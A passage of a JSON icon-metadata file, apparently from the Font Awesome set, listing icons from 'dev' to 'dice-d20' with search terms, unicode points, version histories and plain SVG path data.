        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V352c0 35.3 28.7 64 64 64H240l-10.7 32H160c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H346.7L336 416H512c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM512 64V288H64V64H512z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V352c0 35.3 28.7 64 64 64H240l-10.7 32H160c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H346.7L336 416H512c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM512 64V288H64V64H512z"
      }
    },
    "free": ["solid"]
  },
  "dev": {
    "changes": ["5.4.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f6cc",
    "label": "DEV",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z"
      }
    },
    "free": ["brands"]
  },
  "deviantart": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1bd",
    "label": "deviantART",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z"
      }
    },
    "free": ["brands"]
  },
  "dharmachakra": {
    "aliases": {
      "unicodes": {
        "composite": ["2638"],
        "secondary": ["10f655"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Buddhist",
        "buddhism",
        "buddhist",
        "dharma",
        "religion",
        "wheel",
        "wheel of dharma"
      ]
    },
    "styles": ["solid"],
    "unicode": "f655",
    "label": "Dharmachakra",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M337.8 205.7l48.6-42.5c13.8 19.3 23.4 41.9 27.4 66.2l-64.4 4.3c-2.4-10.1-6.4-19.5-11.6-28zm140.1 19.5c-5.3-38.8-20.6-74.5-43.2-104.3l.8-.7C449 108.4 449.7 87.6 437 75s-33.4-12-45.2 1.5l-.7 .8c-29.8-22.6-65.5-37.9-104.3-43.2l.1-1.1c1.2-17.9-13-33-30.9-33s-32.1 15.2-30.9 33l.1 1.1c-38.8 5.3-74.5 20.6-104.3 43.2l-.7-.8C108.4 63 87.6 62.3 75 75s-12 33.4 1.5 45.2l.8 .7c-22.6 29.8-37.9 65.5-43.2 104.3l-1.1-.1c-17.9-1.2-33 13-33 30.9s15.2 32.1 33 30.9l1.1-.1c5.3 38.8 20.6 74.5 43.2 104.3l-.8 .7C63 403.6 62.3 424.4 75 437s33.4 12 45.2-1.5l.7-.8c29.8 22.6 65.5 37.9 104.3 43.2l-.1 1.1c-1.2 17.9 13 33 30.9 33s32.1-15.2 30.9-33l-.1-1.1c38.8-5.3 74.5-20.6 104.3-43.2l.7 .8c11.8 13.5 32.5 14.2 45.2 1.5s12-33.4-1.5-45.2l-.8-.7c22.6-29.8 37.9-65.5 43.2-104.3l1.1 .1c17.9 1.2 33-13 33-30.9s-15.2-32.1-33-30.9l-1.1 .1zM163.2 125.6c19.3-13.8 41.9-23.4 66.2-27.5l4.3 64.4c-10 2.4-19.5 6.4-28 11.6l-42.5-48.6zm-65 103.8c4.1-24.4 13.7-46.9 27.5-66.2l48.6 42.5c-5.3 8.5-9.2 18-11.6 28l-64.4-4.3zm27.5 119.4c-13.8-19.3-23.4-41.9-27.5-66.2l64.4-4.3c2.4 10 6.4 19.5 11.6 28l-48.6 42.5zm103.8 65c-24.4-4.1-46.9-13.7-66.2-27.4l42.5-48.6c8.5 5.3 18 9.2 28 11.6l-4.3 64.4zm119.4-27.4c-19.3 13.8-41.9 23.4-66.2 27.4l-4.3-64.4c10-2.4 19.5-6.4 28-11.6l42.5 48.6zm65-103.8c-4.1 24.4-13.7 46.9-27.4 66.2l-48.6-42.5c5.3-8.5 9.2-18 11.6-28l64.4 4.3zm-65-156.9l-42.5 48.6c-8.5-5.3-18-9.2-28-11.6l4.3-64.4c24.4 4.1 46.9 13.7 66.2 27.5zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M337.8 205.7l48.6-42.5c13.8 19.3 23.4 41.9 27.4 66.2l-64.4 4.3c-2.4-10.1-6.4-19.5-11.6-28zm140.1 19.5c-5.3-38.8-20.6-74.5-43.2-104.3l.8-.7C449 108.4 449.7 87.6 437 75s-33.4-12-45.2 1.5l-.7 .8c-29.8-22.6-65.5-37.9-104.3-43.2l.1-1.1c1.2-17.9-13-33-30.9-33s-32.1 15.2-30.9 33l.1 1.1c-38.8 5.3-74.5 20.6-104.3 43.2l-.7-.8C108.4 63 87.6 62.3 75 75s-12 33.4 1.5 45.2l.8 .7c-22.6 29.8-37.9 65.5-43.2 104.3l-1.1-.1c-17.9-1.2-33 13-33 30.9s15.2 32.1 33 30.9l1.1-.1c5.3 38.8 20.6 74.5 43.2 104.3l-.8 .7C63 403.6 62.3 424.4 75 437s33.4 12 45.2-1.5l.7-.8c29.8 22.6 65.5 37.9 104.3 43.2l-.1 1.1c-1.2 17.9 13 33 30.9 33s32.1-15.2 30.9-33l-.1-1.1c38.8-5.3 74.5-20.6 104.3-43.2l.7 .8c11.8 13.5 32.5 14.2 45.2 1.5s12-33.4-1.5-45.2l-.8-.7c22.6-29.8 37.9-65.5 43.2-104.3l1.1 .1c17.9 1.2 33-13 33-30.9s-15.2-32.1-33-30.9l-1.1 .1zM163.2 125.6c19.3-13.8 41.9-23.4 66.2-27.5l4.3 64.4c-10 2.4-19.5 6.4-28 11.6l-42.5-48.6zm-65 103.8c4.1-24.4 13.7-46.9 27.5-66.2l48.6 42.5c-5.3 8.5-9.2 18-11.6 28l-64.4-4.3zm27.5 119.4c-13.8-19.3-23.4-41.9-27.5-66.2l64.4-4.3c2.4 10 6.4 19.5 11.6 28l-48.6 42.5zm103.8 65c-24.4-4.1-46.9-13.7-66.2-27.4l42.5-48.6c8.5 5.3 18 9.2 28 11.6l-4.3 64.4zm119.4-27.4c-19.3 13.8-41.9 23.4-66.2 27.4l-4.3-64.4c10-2.4 19.5-6.4 28-11.6l42.5 48.6zm65-103.8c-4.1 24.4-13.7 46.9-27.4 66.2l-48.6-42.5c5.3-8.5 9.2-18 11.6-28l64.4 4.3zm-65-156.9l-42.5 48.6c-8.5-5.3-18-9.2-28-11.6l4.3-64.4c24.4 4.1 46.9 13.7 66.2 27.5zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "dhl": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["Dalsey", "Hillblom and Lynn", "german", "package", "shipping"]
    },
    "styles": ["brands"],
    "unicode": "f790",
    "label": "DHL",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z"
      }
    },
    "free": ["brands"]
  },
  "diagram-next": {
    "changes": ["6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cells",
        "chart",
        "gantt",
        "row",
        "subtask",
        "successor",
        "table"
      ]
    },
    "styles": ["solid"],
    "unicode": "e476",
    "label": "Diagram Next",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 160c0 35.3-28.7 64-64 64H280v64h46.1c21.4 0 32.1 25.9 17 41L273 399c-9.4 9.4-24.6 9.4-33.9 0L169 329c-15.1-15.1-4.4-41 17-41H232V224H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64v64zM448 416V352H365.3l.4-.4c18.4-18.4 20.4-43.7 11-63.6l71.3 0c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64V352c0-35.3 28.7-64 64-64l71.3 0c-9.4 19.9-7.4 45.2 11 63.6l.4 .4H64v64H210.7l5.7 5.7c21.9 21.9 57.3 21.9 79.2 0l5.7-5.7H448z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 160c0 35.3-28.7 64-64 64H280v64h46.1c21.4 0 32.1 25.9 17 41L273 399c-9.4 9.4-24.6 9.4-33.9 0L169 329c-15.1-15.1-4.4-41 17-41H232V224H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64v64zM448 416V352H365.3l.4-.4c18.4-18.4 20.4-43.7 11-63.6l71.3 0c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64V352c0-35.3 28.7-64 64-64l71.3 0c-9.4 19.9-7.4 45.2 11 63.6l.4 .4H64v64H210.7l5.7 5.7c21.9 21.9 57.3 21.9 79.2 0l5.7-5.7H448z"
      }
    },
    "free": ["solid"]
  },
  "diagram-predecessor": {
    "changes": ["6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cells",
        "chart",
        "gantt",
        "predecessor",
        "previous",
        "row",
        "subtask",
        "table"
      ]
    },
    "styles": ["solid"],
    "unicode": "e477",
    "label": "Diagram Predecessor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767208,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 416l0-64L64 352l0 64 384 0zm0 64L64 480c-35.3 0-64-28.7-64-64l0-64c0-35.3 28.7-64 64-64l384 0c35.3 0 64 28.7 64 64l0 64c0 35.3-28.7 64-64 64zM288 160c0 35.3-28.7 64-64 64L64 224c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l144 0 16 0 144 0c44.2 0 80 35.8 80 80l0 16 38.1 0c21.4 0 32.1 25.9 17 41L433 239c-9.4 9.4-24.6 9.4-33.9 0L329 169c-15.1-15.1-4.4-41 17-41l38.1 0 0-16c0-8.8-7.2-16-16-16l-80 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 416l0-64L64 352l0 64 384 0zm0 64L64 480c-35.3 0-64-28.7-64-64l0-64c0-35.3 28.7-64 64-64l384 0c35.3 0 64 28.7 64 64l0 64c0 35.3-28.7 64-64 64zM288 160c0 35.3-28.7 64-64 64L64 224c-35.3 0-64-28.7-64-64L0 96C0 60.7 28.7 32 64 32l144 0 16 0 144 0c44.2 0 80 35.8 80 80l0 16 38.1 0c21.4 0 32.1 25.9 17 41L433 239c-9.4 9.4-24.6 9.4-33.9 0L329 169c-15.1-15.1-4.4-41 17-41l38.1 0 0-16c0-8.8-7.2-16-16-16l-80 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "diagram-project": {
    "aliases": {
      "names": ["project-diagram"],
      "unicodes": {
        "secondary": ["10f542"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["chart", "graph", "network", "pert"]
    },
    "styles": ["solid"],
    "unicode": "f542",
    "label": "Diagram Project",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 80C0 53.5 21.5 32 48 32h96c26.5 0 48 21.5 48 48V96H384V80c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H432c-26.5 0-48-21.5-48-48V160H192v16c0 1.7-.1 3.4-.3 5L272 288h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H272c-26.5 0-48-21.5-48-48V336c0-1.7 .1-3.4 .3-5L144 224H48c-26.5 0-48-21.5-48-48V80z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 80C0 53.5 21.5 32 48 32h96c26.5 0 48 21.5 48 48V96H384V80c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H432c-26.5 0-48-21.5-48-48V160H192v16c0 1.7-.1 3.4-.3 5L272 288h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H272c-26.5 0-48-21.5-48-48V336c0-1.7 .1-3.4 .3-5L144 224H48c-26.5 0-48-21.5-48-48V80z"
      }
    },
    "free": ["solid"]
  },
  "diagram-successor": {
    "changes": ["6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cells",
        "chart",
        "gantt",
        "next",
        "row",
        "subtask",
        "successor",
        "table"
      ]
    },
    "styles": ["solid"],
    "unicode": "e47a",
    "label": "Diagram Successor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 416l0-64c0-35.3-28.7-64-64-64L64 288c-35.3 0-64 28.7-64 64l0 64c0 35.3 28.7 64 64 64l384 0c35.3 0 64-28.7 64-64zM64 160l0-64 144 0 16 0 0 64L64 160zm224 0l0-64 80 0c8.8 0 16 7.2 16 16l0 16-38.1 0c-21.4 0-32.1 25.9-17 41L399 239c9.4 9.4 24.6 9.4 33.9 0L503 169c15.1-15.1 4.4-41-17-41L448 128l0-16c0-44.2-35.8-80-80-80L224 32l-16 0L64 32C28.7 32 0 60.7 0 96l0 64c0 35.3 28.7 64 64 64l160 0c35.3 0 64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 416l0-64c0-35.3-28.7-64-64-64L64 288c-35.3 0-64 28.7-64 64l0 64c0 35.3 28.7 64 64 64l384 0c35.3 0 64-28.7 64-64zM64 160l0-64 144 0 16 0 0 64L64 160zm224 0l0-64 80 0c8.8 0 16 7.2 16 16l0 16-38.1 0c-21.4 0-32.1 25.9-17 41L399 239c9.4 9.4 24.6 9.4 33.9 0L503 169c15.1-15.1 4.4-41-17-41L448 128l0-16c0-44.2-35.8-80-80-80L224 32l-16 0L64 32C28.7 32 0 60.7 0 96l0 64c0 35.3 28.7 64 64 64l160 0c35.3 0 64-28.7 64-64z"
      }
    },
    "free": ["solid"]
  },
  "diamond": {
    "aliases": {
      "unicodes": {
        "composite": ["2666"],
        "secondary": ["10f219"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "card",
        "cards",
        "diamond suit",
        "game",
        "gem",
        "gemstone",
        "poker",
        "suit"
      ]
    },
    "styles": ["solid"],
    "unicode": "f219",
    "label": "Diamond",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M284.3 11.7c-15.6-15.6-40.9-15.6-56.6 0l-216 216c-15.6 15.6-15.6 40.9 0 56.6l216 216c15.6 15.6 40.9 15.6 56.6 0l216-216c15.6-15.6 15.6-40.9 0-56.6l-216-216z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M284.3 11.7c-15.6-15.6-40.9-15.6-56.6 0l-216 216c-15.6 15.6-15.6 40.9 0 56.6l216 216c15.6 15.6 40.9 15.6 56.6 0l216-216c15.6-15.6 15.6-40.9 0-56.6l-216-216z"
      }
    },
    "free": ["solid"]
  },
  "diamond-turn-right": {
    "aliases": {
      "names": ["directions"],
      "unicodes": {
        "secondary": ["10f5eb"]
      }
    },
    "changes": ["5.2.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["map", "navigation", "sign", "turn"]
    },
    "styles": ["solid"],
    "unicode": "f5eb",
    "label": "Diamond Turn Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M227.7 11.7c15.6-15.6 40.9-15.6 56.6 0l216 216c15.6 15.6 15.6 40.9 0 56.6l-216 216c-15.6 15.6-40.9 15.6-56.6 0l-216-216c-15.6-15.6-15.6-40.9 0-56.6l216-216zm87.6 137c-4.6-4.6-11.5-5.9-17.4-3.5s-9.9 8.3-9.9 14.8v56H224c-35.3 0-64 28.7-64 64v48c0 13.3 10.7 24 24 24s24-10.7 24-24V280c0-8.8 7.2-16 16-16h64v56c0 6.5 3.9 12.3 9.9 14.8s12.9 1.1 17.4-3.5l80-80c6.2-6.2 6.2-16.4 0-22.6l-80-80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M227.7 11.7c15.6-15.6 40.9-15.6 56.6 0l216 216c15.6 15.6 15.6 40.9 0 56.6l-216 216c-15.6 15.6-40.9 15.6-56.6 0l-216-216c-15.6-15.6-15.6-40.9 0-56.6l216-216zm87.6 137c-4.6-4.6-11.5-5.9-17.4-3.5s-9.9 8.3-9.9 14.8v56H224c-35.3 0-64 28.7-64 64v48c0 13.3 10.7 24 24 24s24-10.7 24-24V280c0-8.8 7.2-16 16-16h64v56c0 6.5 3.9 12.3 9.9 14.8s12.9 1.1 17.4-3.5l80-80c6.2-6.2 6.2-16.4 0-22.6l-80-80z"
      }
    },
    "free": ["solid"]
  },
  "diaspora": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f791",
    "label": "Diaspora",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z"
      }
    },
    "free": ["brands"]
  },
  "dice": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3b2"],
        "secondary": ["10f522"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chance", "dice", "die", "gambling", "game", "game die", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f522",
    "label": "Dice",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M274.9 34.3c-28.1-28.1-73.7-28.1-101.8 0L34.3 173.1c-28.1 28.1-28.1 73.7 0 101.8L173.1 413.7c28.1 28.1 73.7 28.1 101.8 0L413.7 274.9c28.1-28.1 28.1-73.7 0-101.8L274.9 34.3zM200 224a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM96 200a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM224 376a24 24 0 1 1 0-48 24 24 0 1 1 0 48zM352 200a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM224 120a24 24 0 1 1 0-48 24 24 0 1 1 0 48zm96 328c0 35.3 28.7 64 64 64H576c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H461.7c11.6 36 3.1 77-25.4 105.5L320 413.8V448zM480 328a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M274.9 34.3c-28.1-28.1-73.7-28.1-101.8 0L34.3 173.1c-28.1 28.1-28.1 73.7 0 101.8L173.1 413.7c28.1 28.1 73.7 28.1 101.8 0L413.7 274.9c28.1-28.1 28.1-73.7 0-101.8L274.9 34.3zM200 224a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM96 200a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM224 376a24 24 0 1 1 0-48 24 24 0 1 1 0 48zM352 200a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM224 120a24 24 0 1 1 0-48 24 24 0 1 1 0 48zm96 328c0 35.3 28.7 64 64 64H576c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H461.7c11.6 36 3.1 77-25.4 105.5L320 413.8V448zM480 328a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "dice-d20": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6cf"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "chance",
        "d&d",
        "dnd",
        "fantasy",
        "gambling",
        "game",
        "roll"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6cf",
    "label": "Dice D20",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48.7 125.8l53.2 31.9c7.8 4.7 17.8 2 22.2-5.9L201.6 12.1c3-5.4-.9-12.1-7.1-12.1c-1.6 0-3.2 .5-4.6 1.4L47.9 98.8c-9.6 6.6-9.2 20.9 .8 26.9zM16 171.7V295.3c0 8 10.4 11 14.7 4.4l60-92c5-7.6 2.6-17.8-5.2-22.5L40.2 158C29.6 151.6 16 159.3 16 171.7zM310.4 12.1l77.6 139.6c4.4 7.9 14.5 10.6 22.2 5.9l53.2-31.9c10-6 10.4-20.3 .8-26.9L322.1 1.4c-1.4-.9-3-1.4-4.6-1.4c-6.2 0-10.1 6.7-7.1 12.1zM496 171.7c0-12.4-13.6-20.1-24.2-13.7l-45.3 27.2c-7.8 4.7-10.1 14.9-5.2 22.5l60 92c4.3 6.7 14.7 3.6 14.7-4.4V171.7zm-49.3 246L286.1 436.6c-8.1 .9-14.1 7.8-14.1 15.9v52.8c0 3.7 3 6.8 6.8 6.8c.8 0 1.6-.1 2.4-.4l172.7-64c6.1-2.2 10.1-8 10.1-14.5c0-9.3-8.1-16.5-17.3-15.4zM233.2 512c3.7 0 6.8-3 6.8-6.8V452.6c0-8.1-6.1-14.9-14.1-15.9l-160.6-19c-9.2-1.1-17.3 6.1-17.3 15.4c0 6.5 4 12.3 10.1 